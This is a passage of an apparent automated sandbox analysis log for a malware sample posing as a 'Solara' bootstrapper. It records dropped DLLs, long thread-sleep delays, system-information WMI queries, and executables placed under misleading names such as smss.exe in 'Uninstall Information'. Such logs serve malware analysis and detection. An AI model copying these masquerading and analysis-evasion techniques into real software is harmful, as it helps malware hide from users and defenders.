Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	Jump to dropped file

Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599327s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -599097s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598824s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598704s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598582s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -598113s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -597990s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -597540s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -597416s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -597176s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -597058s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -596794s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -596675s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -596557s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -596428s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -596287s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -595962s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -595811s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -594897s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -594574s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -594439s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -594267s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -594141s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -594028s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -593891s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -593732s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -593578s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -593437s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -593294s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -593156s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592968s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592797s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592656s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592525s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592389s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592260s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592123s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -592000s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -591812s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -591578s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -591406s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -591227s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -591084s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -590936s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -590822s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -590609s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -590437s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -590286s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -590123s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -589973s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -589850s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -589703s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -589568s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -589442s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -589187s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -589056s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588906s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588749s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588638s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588531s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588419s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588311s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588187s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -588029s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587922s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587797s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587679s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587546s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587430s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587322s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587212s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -587106s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586997s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586875s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586720s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586594s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586484s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586365s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586203s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -586058s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585948s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585812s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585672s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585558s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585435s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585309s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585198s >= -30000s	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe TID: 7960	Thread sleep time: -585078s >= -30000s	Jump to behavior
Source: C:\Media\fontreview.exe TID: 7932	Thread sleep count: 1152 > 30
Source: C:\Media\fontreview.exe TID: 7932	Thread sleep count: 723 > 30
Source: C:\Media\fontreview.exe TID: 8024	Thread sleep time: -30000s >= -30000s
Source: C:\Media\fontreview.exe TID: 7908	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 752	Thread sleep count: 2471 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 4060 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3032	Thread sleep time: -18446744073709540s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2512	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3636	Thread sleep count: 2323 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3120	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2332	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1564	Thread sleep count: 1902 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3984	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1824	Thread sleep count: 2547 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2884	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3044	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe TID: 6744	Thread sleep count: 365 > 30
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe TID: 2464	Thread sleep count: 363 > 30
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe TID: 3228	Thread sleep count: 363 > 30
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe TID: 6012	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe TID: 7864	Thread sleep count: 363 > 30
Source: C:\Program Files\Uninstall Information\smss.exe TID: 5244	Thread sleep count: 366 > 30
Source: C:\Program Files\Uninstall Information\smss.exe TID: 1036	Thread sleep count: 365 > 30
Source: C:\Program Files\Uninstall Information\smss.exe TID: 2688	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Uninstall Information\smss.exe TID: 7140	Thread sleep count: 524 > 30
Source: C:\Program Files\Uninstall Information\smss.exe TID: 2300	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Uninstall Information\smss.exe TID: 6496	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Uninstall Information\smss.exe TID: 3232	Thread sleep count: 561 > 30
Source: C:\Program Files\Uninstall Information\smss.exe TID: 3848	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Uninstall Information\smss.exe TID: 5644	Thread sleep count: 366 > 30
Source: C:\Program Files\Uninstall Information\smss.exe TID: 6264	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe TID: 7860	Thread sleep count: 365 > 30
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe TID: 7276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99425s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99187s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99074s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -98952s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -98843s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -98732s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -98621s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -98515s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -98380s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -98250s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99889s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99750s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -99623s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -597235s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8388	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8288	Thread sleep time: -596219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe TID: 8388	Thread sleep time: -300000s >= -30000s

Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe

Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Program Files\Uninstall Information\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Media\fontreview.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Uninstall Information\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\wasm FullSizeInformation
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\js FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	4_2_0077A5F4
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	4_2_0078B8E0
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0079AAA8 FindFirstFileExA,	4_2_0079AAA8

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0078DD72 VirtualQuery,GetSystemInfo,

4_2_0078DD72

Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 599097	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598824	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598704	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598582	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 598113	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597990	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597540	Jump to behavior
